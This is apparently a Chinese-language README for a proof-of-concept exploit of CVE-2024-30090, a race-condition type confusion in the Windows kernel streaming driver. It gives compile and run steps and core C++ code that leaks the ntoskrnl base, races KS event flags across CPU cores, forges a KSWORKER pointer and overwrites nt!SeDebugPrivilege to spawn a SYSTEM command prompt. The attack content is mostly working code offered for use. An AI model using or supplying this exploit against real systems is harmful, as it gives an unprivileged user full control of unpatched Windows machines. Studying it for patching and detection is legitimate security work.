CVE-2024-30090 - Windows内核本地提权漏洞利用
项目概述
本项目是针对微软Windows内核漏洞CVE-2024-30090的完整概念验证(PoC)利用代码。该漏洞由Angelboy(DEVCORE团队)发现,利用Windows内核流媒体驱动框架中的竞态条件,通过精心构造的KS事件触发内核内存损坏,最终实现从中等完整性级别到SYSTEM权限的本地提权。
功能特性
- 双进程协作架构:Parent进程负责获取ntoskrnl基址和SeDebugPrivilege地址,Child进程执行核心漏洞利用
- 内核信息泄露:通过NtQuerySystemInformation无特权获取ntoskrnl.exe模块基址
- 竞态条件利用:双线程跨核心竞争KS时钟事件处理流程,触发类型混淆
- KSWorkItem劫持:利用KSEVENTF_KSWORKITEM通知类型,劫持内核工作项对象指针
- CPU核心绑定:精确控制线程在指定CPU核心上运行,提高竞态成功率
- 特权位覆盖:通过内核任意地址写入,修改nt!SeDebugPrivilege启用位
安装指南
系统要求
- Windows 11 23H2 (build 10.0.22621.3672) 或其他受影响版本
- 至少2个CPU核心
- Visual Studio 2019或更高版本(支持x64/x86编译)
编译步骤
-
Parent.cpp编译配置
- 平台:x64
- 编译选项:/MT /O2
- 链接库:ntdll.lib
-
Child.cpp编译配置
- 平台:x86
- 编译选项:/MT /O2
- 链接库:ntdll.lib, ksuser.lib, ksproxy.lib
-
项目结构
├── Parent.cpp # x64主控程序 ├── Child.cpp # x86漏洞利用核心 ├── winhelpers.h # 辅助函数声明 └── _ksproxy.h # KS代理接口定义
使用说明
基础执行流程
- 编译生成
Parent.exe和Child.exe - 以普通用户权限运行
Parent.exe - 程序自动启动子进程并执行提权操作
利用原理
// 漏洞触发核心代码片段
g_ksevent.Set = KSEVENTSETID_Clock;
g_ksevent.Id = KSEVENT_CLOCK_INTERVAL_MARK;
g_eventData.EventData.NotificationType = KSEVENTF_KSWORKITEM;
g_eventData.KsWorkerObject = (LONGLONG)(target_addr - 0x5C); // 伪造KSWORKER指针
// 双线程竞态触发
while (1) {
g_ksevent.Flags ^= xor_mask_flags; // 交替切换标志位
Sleep(5);
}
成功标志
- 控制台输出"race success ! 3/3"
- 自动弹出SYSTEM权限的命令行窗口
核心代码
Parent.cpp - 内核基址获取
// 通过NtQuerySystemInformation获取ntoskrnl基址
PCHAR GetKernelBase(void) {
DWORD dwSize = 0;
// 获取所需缓冲区大小
if (NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
NULL, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH)
error("Cannot get length of system module list array");
PSYSTEM_MODULE_INFORMATION pSystemModules = (PSYSTEM_MODULE_INFORMATION)malloc(dwSize);
if (!NT_SUCCESS(NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
pSystemModules, dwSize, &dwSize)))
error("Cannot get system module list");
// 遍历模块列表查找ntoskrnl.exe
for (DWORD i = 0; i < pSystemModules->ModulesCount; i++) {
if (strstr((const char*)pSystemModules->Modules[i].Name, "ntoskrnl.exe")) {
PCHAR pBase = (PCHAR)pSystemModules->Modules[i].ImageBaseAddress;
free(pSystemModules);
return pBase;
}
}
error("Cannot find ntoskrnl.exe in system module list");
}
int main() {
// 获取内核基址并计算SeDebugPrivilege地址
NtKernelBase = (DWORD64)GetKernelBase();
NtSeDebugPrivilegeVA = NtKernelBase + NtSeDebugPrivilege_RVA;
// 启动子进程进行漏洞利用
_snwprintf_s(cmdLine, sizeof(cmdLine) / sizeof(wchar_t),
_TRUNCATE, L"Child.exe 0x%llx", NtSeDebugPrivilegeVA);
CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
Child.cpp - 竞态条件利用
// 双核心竞态线程
void flip_thread() {
ULONG xor_mask_flags = KSEVENT_TYPE_ENABLE ^ KSEVENT_TYPE_QUERYBUFFER;
pin_name_to_cpu("flip_thread", CORE_ID_0, TRUE);
set_priority_and_class(THREAD_PRIORITY_HIGHEST, HIGH_PRIORITY_CLASS);
while (1) {
g_ksevent.Flags ^= xor_mask_flags; // 持续翻转标志位触发竞态
Sleep(5);
}
}
// 漏洞利用主函数
BOOL ExploitIoctlKsEnableEvent(DWORD64 target_addr) {
// 构造恶意KS事件数据
g_ksevent.Set = KSEVENTSETID_Clock;
g_ksevent.Id = KSEVENT_CLOCK_INTERVAL_MARK;
g_eventData.EventData.NotificationType = KSEVENTF_KSWORKITEM;
// 关键:伪造KSWORKER指针,偏移0x5C指向目标地址
g_eventData.KsWorkerObject = (LONGLONG)(target_addr - 0x5C);
// 绑定到不同CPU核心提高竞态成功率
pin_name_to_cpu("main_thread", CORE_ID_1, TRUE);
hFlipThread = xCreateThread(flip_thread, NULL, NULL, TRUE);
// 多次尝试触发漏洞
while (inc_count < 3) {
KsOpenDefaultDevice(KSCATEGORY_CLOCK, GENERIC_READ | GENERIC_WRITE, &hClockDevice);
SetClockState(hClockDevice, KSSTATE_RUN);
// 发送恶意IOCTL触发漏洞
if (DeviceIoControl(hClockDevice, IOCTL_KS_ENABLE_EVENT,
&g_ksevent, sizeof(KSEVENT) + 0x100,
&g_eventData, sizeof(MYKSEVENT_TIME_INTERVAL),
&bytesReturned, NULL)) {
inc_count += 1;
}
}
return TRUE;
}
winhelpers.h - 核心辅助函数
#pragma once
#include <windows.h>
#define CORE_ID_0 0
#define CORE_ID_1 1
// 线程与CPU核心绑定
BOOL pin_name_to_cpu(char* name, size_t core_id, BOOL high_priority);
// 获取系统CPU核心数
int get_core_count(void);
// 创建并绑定CPU的线程
HANDLE xCreateThread(void* func, void* arg, PDWORD thread_id, BOOL bind_cpu);
// 提升线程优先级
BOOL set_priority_and_class(int thread_priority, int process_class);
// 生成SYSTEM权限CMD
int spwan_cmd_system(void);
技术细节
漏洞利用通过Windows内核流媒体驱动(KS)的IOCTL_KS_ENABLE_EVENT处理函数中的类型混淆漏洞,结合KSEVENTF_KSWORKITEM标志位,实现对内核KSWORKER对象的劫持,最终达成任意地址写入原语并修改nt!SeDebugPrivilege启用当前进程的特权位。
6HFtX5dABrKlqXeO5PUv/9JM4Ca1c1avq2Jvk+g1Rms=